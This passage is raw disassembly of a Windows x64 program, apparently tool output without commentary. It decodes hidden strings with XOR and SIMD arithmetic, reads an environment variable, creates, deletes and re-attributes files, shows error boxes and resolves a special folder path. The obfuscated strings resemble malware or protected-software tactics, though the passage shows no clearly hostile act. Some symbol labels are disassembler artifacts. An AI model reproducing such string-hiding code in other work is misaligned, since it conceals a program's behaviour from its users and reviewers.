psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uuxq]
xorps xmm1, xmm0
movd dword [rbp + 0x78], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x7c]
xorps xmm2, xmm1
movd dword [rbp + 0x7c], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x80], xmm2
mov r8d, esi
mov eax, r8d
lea r9, [rbp + 0x78]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140029070
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x1498]
lea rcx, [rbp + 0x12d0]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp + 0x12d0]
test rdx, rdx
je 0x14002e9c3
xorps xmm0, xmm0
movups xmmword [rbp + 0x13f8], xmm0
mov qword [rbp + 0x1408], rbx
mov qword [rbp + 0x1410], rbx
mov r8, r14
inc r8
cmp byte [rdx + r8], 0
jne 0x1400290e2
lea rcx, [rbp + 0x13f8]
call fcn.140045100
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x688], xmm0
mov qword [rbp + 0x698], rbx
mov qword [rbp + 0x6a0], rbx
lea rax, [rbp + 0xb8]
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140029120
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x688]
call fcn.140045100
nop
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rbp + 0x1408]
sub rax, rcx
cmp rax, 1
jb 0x14002ee92
lea r9, [rbp + 0x13f8]
cmp qword [rbp + 0x1410], 0xf
cmova r9, qword [rbp + 0x13f8]
mov qword [rsp + 0x30], 1
lea rax, [0x1400d2e78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x13f8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x8e8]
call fcn.1400473a0
nop
lea r9, [rbp + 0x688]
lea r8, [rbp + 0x8e8]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x1378]
call fcn.1400471b0
nop
mov rdx, qword [rbp + 0x900]
cmp rdx, 0xf
jbe 0x14002920a
inc rdx
mov rcx, qword [rbp + 0x8e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029205
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140029205
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x8f8], rbx
mov qword [rbp + 0x900], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x8e8], 0
mov rdx, qword [rbp + 0x6a0]
cmp rdx, 0xf
jbe 0x140029264
inc rdx
mov rcx, qword [rbp + 0x688]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002925f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e953
call fcn.1400bbb20
mov qword [rbp + 0x698], rbx
mov qword [rbp + 0x6a0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x688], 0
lea rcx, [rbp + 0x1378]
cmp qword [rbp + 0x1390], 0xf
cmova rcx, qword [rbp + 0x1378]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140029703
lea rcx, [rbp + 0x1378]
cmp qword [rbp + 0x1390], 0xf
cmova rcx, qword [rbp + 0x1378]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x140029703
movsd xmm0, qword [0x1400d47f8]
movsd qword [rbp - 0x78], xmm0
mov ecx, dword [0x1400d4800]
mov dword [rbp - 0x70], ecx
movzx eax, word [0x1400d4804]
mov edx, 0x45
mov word [rbp - 0x78], dx
xor word [rbp - 0x76], 0x3a
xor word [rbp - 0x74], 0x3b
xor word [rbp - 0x72], 0x3c
xor cx, 0x3d
mov word [rbp - 0x70], cx
xor word [rbp - 0x6e], 0x3e
xor ax, 0x3f
mov word [rbp - 0x6c], ax
movups xmm4, xmmword [0x1400d5a68]
movups xmmword [rbp + 0x610], xmm4
movups xmm0, xmmword [0x1400d5a78]
movups xmmword [rbp + 0x620], xmm0
movups xmm1, xmmword [0x1400d5a88]
movups xmmword [rbp + 0x630], xmm1
mov eax, dword [0x1400d5a98]
mov dword [rbp + 0x640], eax
movzx eax, word [0x1400d5a9c]
mov word [rbp + 0x644], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400295e5
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
pshufhw xmm0, xmm8, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x610], xmm3
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x618]
xorps xmm3, xmm0
movq qword [rbp + 0x618], xmm3
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x620]
xorps xmm3, xmm0
movq qword [rbp + 0x620], xmm3
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
pshufhw xmm0, xmm13, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x628]
xorps xmm3, xmm0
movq qword [rbp + 0x628], xmm3
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x630]
xorps xmm3, xmm0
movq qword [rbp + 0x630], xmm3
movdqa xmm2, xmmword [0x1400d7380]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x638]
xorps xmm3, xmm0
movq qword [rbp + 0x638], xmm3
mov r8d, Ordinal_27
mov eax, r8d
lea r9, [rbp + 0x610]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1b
jl 0x140029600
mov r9d, r13d
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x610]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x1390]
cmp rdx, 0xf
jbe 0x14002968b
inc rdx
mov rcx, qword [rbp + 0x1378]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029686
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e9bc
call fcn.1400bbb20
mov byte [rbp + 0x1378], 0
mov qword [rbp + 0x1390], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1388], rbx
mov rdx, qword [rbp + 0x1410]
cmp rdx, 0xf
jbe 0x1400296e5
inc rdx
mov rcx, qword [rbp + 0x13f8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400296e0
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002edfb
call fcn.1400bbb20
mov qword [rbp + 0x1408], rbx
mov qword [rbp + 0x1410], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x13f8], 0
jmp 0x14002ebb5
xorps xmm0, xmm0
movups xmmword [rbp + 0x668], xmm0
mov qword [rbp + 0x678], rbx
mov qword [rbp + 0x680], rbx
lea rax, [rbp - 0x48]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140029722
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x668]
call fcn.140045100
nop
mov rcx, qword [rbp + 0x1388]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 1
jb 0x14002ee02
lea r9, [rbp + 0x1378]
cmp qword [rbp + 0x1390], 0xf
cmova r9, qword [rbp + 0x1378]
mov qword [rsp + 0x30], 1
lea rax, [0x1400d2e78]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp + 0x1378]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x908]
call fcn.1400473a0
nop
lea r9, [rbp + 0x668]
lea r8, [rbp + 0x908]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x13b8]
call fcn.1400471b0
nop
mov rdx, qword [rbp + 0x920]
cmp rdx, 0xf
jbe 0x140029809
inc rdx
mov rcx, qword [rbp + 0x908]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029804
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140029804
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x918], rbx
mov qword [rbp + 0x920], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x908], 0
mov rdx, qword [rbp + 0x680]
cmp rdx, 0xf
jbe 0x140029863
inc rdx
mov rcx, qword [rbp + 0x668]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002985e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e5f9
call fcn.1400bbb20
mov qword [rbp + 0x678], rbx
mov qword [rbp + 0x680], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x668], 0
lea rcx, [rbp + 0x13b8]
cmp qword [rbp + 0x13d0], 0xf
cmova rcx, qword [rbp + 0x13b8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140029b3a
lea rcx, [rbp + 0x13b8]
cmp qword [rbp + 0x13d0], 0xf
cmova rcx, qword [rbp + 0x13b8]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140029b3a
movsd xmm0, qword [0x1400d47f8]
movsd qword [rbp - 0x68], xmm0
mov ecx, dword [0x1400d4800]
mov dword [rbp - 0x60], ecx
movzx eax, word [0x1400d4804]
mov edx, 0x45
mov word [rbp - 0x68], dx
xor word [rbp - 0x66], 0x3a
xor word [rbp - 0x64], 0x3b
xor word [rbp - 0x62], 0x3c
xor cx, 0x3d
mov word [rbp - 0x60], cx
xor word [rbp - 0x5e], 0x3e
xor ax, 0x3f
mov word [rbp - 0x5c], ax
movups xmm0, xmmword [0x1400d4880]
movups xmmword [rbp + 0xd40], xmm0
movups xmm1, xmmword [0x1400d4890]
movups xmmword [rbp + 0xd50], xmm1
movups xmm0, xmmword [0x1400d48a0]
movups xmmword [rbp + 0xd60], xmm0
movups xmm1, xmmword [0x1400d48b0]
movups xmmword [rbp + 0xd70], xmm1
movups xmm0, xmmword [0x1400d48c0]
movups xmmword [rbp + 0xd80], xmm0
mov eax, dword [0x1400d48d0]
mov dword [rbp + 0xd90], eax
movzx eax, word [0x1400d48d4]
mov word [rbp + 0xd94], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140029a83
lea rcx, [rbp + 0xd40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140029990
cmp r8d, 0x2b
jge 0x140029ac4
movsxd rax, r8d
lea r9, [rbp + 0xd40]
lea r9, [r9 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2b
jl 0x140029a91
mov r9d, r13d
lea r8, [rbp - 0x68]
lea rdx, [rbp + 0xd40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x13d0]
cmp rdx, 0xf
jbe 0x140029b1c
inc rdx
mov rcx, qword [rbp + 0x13b8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140029b17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002e953
call fcn.1400bbb20
mov qword [rbp + 0x13c8], rbx
mov qword [rbp + 0x13d0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x13b8], 0
jmp 0x14002964a
lea rdx, [rbp + 0x13b8]
cmp qword [rbp + 0x13d0], 0xf
cmova rdx, qword [rbp + 0x13b8]
lea rcx, [rbp]
call fcn.14001ed60
test al, al
je 0x14002e623
lea rcx, [rbp + 0x13b8]
cmp qword [rbp + 0x13d0], 0xf
cmova rcx, qword [rbp + 0x13b8]
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x1478]
call fcn.140016230
nop
lea rcx, [rbp + 0x1478]
call fcn.14001cf90
call fcn.14001c950
call fcn.14001c200
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm4, xmmword [str.n_Xp_Qut]
movups xmmword [rbp + 0x520], xmm4
movups xmm0, xmmword [0x1400d6f90]
movups xmmword [rbp + 0x530], xmm0
mov eax, dword [0x1400d6fa0]
mov dword [rbp + 0x540], eax
movzx eax, word [0x1400d6fa4]
mov word [rbp + 0x544], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140029da8
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x520], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x528]
xorps xmm3, xmm0
movq qword [rbp + 0x528], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x530]
xorps xmm3, xmm0
movq qword [rbp + 0x530], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x538]
xorps xmm3, xmm0
movq qword [rbp + 0x538], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x520]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x140029dc0
movups xmm4, xmmword [0x1400d4b68]
movups xmmword [rbp + 0x4f8], xmm4
movups xmm0, xmmword [0x1400d4b78]
movups xmmword [rbp + 0x508], xmm0
mov eax, dword [0x1400d4b88]
mov dword [rbp + 0x518], eax
movzx eax, word [0x1400d4b8c]
mov word [rbp + 0x51c], ax
mov r8d, ebx
cmp r15d, 2
jl 0x140029fe9
movdqa xmm2, xmm8
punpckldq xmm2, xmm8
pmuldq xmm2, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm8
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x4f8], xmm3
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
pmuldq xmm2, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm11
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x500]
xorps xmm3, xmm0
movq qword [rbp + 0x500], xmm3
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
pmuldq xmm2, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x508]
xorps xmm3, xmm0
movq qword [rbp + 0x508], xmm3
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
pmuldq xmm2, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm9
movdqa xmm0, xmm13
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x510]
xorps xmm3, xmm0
movq qword [rbp + 0x510], xmm3
mov r8d, r13d
mov eax, r8d
lea r9, [rbp + 0x4f8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x37
movzx eax, r8w
sub ax, cx
add ax, 0x39
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x13
jl 0x14002a000
lea rax, [rbp + 0x1b80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, Ordinal_32
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x14002e5c1
xorps xmm0, xmm0
movups xmmword [rbp + 0x708], xmm0
mov qword [rbp + 0x718], rbx
mov qword [rbp + 0x720], rbx
lea rax, [rbp + 0x520]
mov r8, r14
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14002a080
lea rdx, [rbp + 0x520]
lea rcx, [rbp + 0x708]
call fcn.140044cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6e8], xmm0
mov qword [rbp + 0x6f8], rbx
mov qword [rbp + 0x700], rbx
lea rax, [rbp + 0x4f8]
mov r8, r14
inc r8
cmp word [rax + r8*2], 0
jne 0x14002a0c1
lea rdx, [rbp + 0x4f8]
lea rcx, [rbp + 0x6e8]
call fcn.140044cf0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x648], xmm0
mov qword [rbp + 0x658], rbx
mov qword [rbp + 0x660], rbx
lea rax, [rbp + 0x1b80]
nop
inc r14
cmp word [rax + r14*2], 0
jne 0x14002a100
mov r8, r14
lea rdx, [rbp + 0x1b80]
lea rcx, [rbp + 0x648]
call fcn.140044cf0
nop
mov r8d, 1
lea rdx, [0x1400d2e7c]
lea rcx, [rbp + 0x648]
call fcn.14003fde0
xorps xmm0, xmm0
movups xmmword [rbp + 0x588], xmm0
mov qword [rbp + 0x598], rbx
mov qword [rbp + 0x5a0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x588], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x598], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp + 0x6e8]
lea r8, [rbp + 0x588]
lea rcx, [rbp + 0x928]
call fcn.140046fa0
nop
mov r8d, 1
lea rdx, [0x1400d2e7c]
lea rcx, [rbp + 0x928]
call fcn.14003fde0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a8], xmm0
mov qword [rbp + 0x5b8], rbx
mov qword [rbp + 0x5c0], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x5a8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x5b8], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rbp + 0x708]
lea r8, [rbp + 0x5a8]
lea rcx, [rbp + 0x14a0]
call fcn.140046fa0
nop
mov rdx, qword [rbp + 0x5c0]
cmp rdx, 7
jbe 0x14002a24b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a246
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a246
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x5b8], rbx
mov qword [rbp + 0x5c0], 7
mov word [rbp + 0x5a8], bx
mov rdx, qword [rbp + 0x940]
cmp rdx, 7
jbe 0x14002a2ad
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x928]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a2a8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a2a8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
mov qword [rbp + 0x938], rbx
mov qword [rbp + 0x940], 7
mov word [rbp + 0x928], bx
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 7
jbe 0x14002a30f
lea rdx, [rdx*2 + 2]
